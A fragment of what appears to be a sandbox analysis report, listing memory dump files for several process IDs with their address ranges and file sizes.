                                    • memory/2740-4-0x0000000005320000-0x0000000005948000-memory.dmp

                                      Filesize

                                      6.2MB

                                    • memory/2740-21-0x0000000006660000-0x000000000667A000-memory.dmp

                                      Filesize

                                      104KB

                                    • memory/2740-3-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/2740-18-0x0000000006140000-0x000000000615E000-memory.dmp

                                      Filesize

                                      120KB

                                    • memory/2740-91-0x0000000074CB0000-0x0000000075460000-memory.dmp

                                      Filesize

                                      7.7MB

                                    • memory/2740-23-0x0000000007950000-0x0000000007EF4000-memory.dmp

                                      Filesize

                                      5.6MB

                                    • memory/2740-12-0x0000000005B30000-0x0000000005B96000-memory.dmp

                                      Filesize

                                      408KB

                                    • memory/2740-17-0x0000000005CA0000-0x0000000005FF4000-memory.dmp

                                      Filesize

                                      3.3MB

                                    • memory/3076-38-0x0000000002710000-0x0000000002720000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3076-114-0x0000000074CB0000-0x0000000075460000-memory.dmp

                                      Filesize

                                      7.7MB

                                    • memory/3076-55-0x00000000072E0000-0x0000000007372000-memory.dmp

                                      Filesize

                                      584KB

                                    • memory/3076-39-0x0000000002710000-0x0000000002720000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/3076-36-0x0000000074CB0000-0x0000000075460000-memory.dmp

                                      Filesize

                                      7.7MB

                                    • memory/3144-129-0x00007FFA2AD20000-0x00007FFA2B7E1000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/3144-125-0x00007FFA2AD20000-0x00007FFA2B7E1000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/3144-116-0x000001B446220000-0x000001B446242000-memory.dmp

                                      Filesize

                                      136KB

                                    • memory/3988-109-0x00000000774A0000-0x00000000776B5000-memory.dmp

                                      Filesize

                                      2.1MB

                                    • memory/3988-101-0x0000000000900000-0x0000000000909000-memory.dmp

                                      Filesize

                                      36KB

                                    • memory/3988-105-0x0000000002540000-0x0000000002940000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/3988-106-0x00007FFA49DB0000-0x00007FFA49FA5000-memory.dmp

                                      Filesize

                                      2.0MB

                                    • memory/3988-108-0x0000000002540000-0x0000000002940000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/3988-110-0x0000000002540000-0x0000000002940000-memory.dmp

                                      Filesize

                                      4.0MB

                                    • memory/4476-184-0x00000192743D0000-0x00000192743E0000-memory.dmp

                                      Filesize

                                      64KB

                                    • memory/4476-182-0x00007FFA2AD20000-0x00007FFA2B7E1000-memory.dmp

                                      Filesize

                                      10.8MB

                                    • memory/4476-183-0x00000192743D0000-0x00000192743E0000-memory.dmp

                                      Filesize

                                      64KB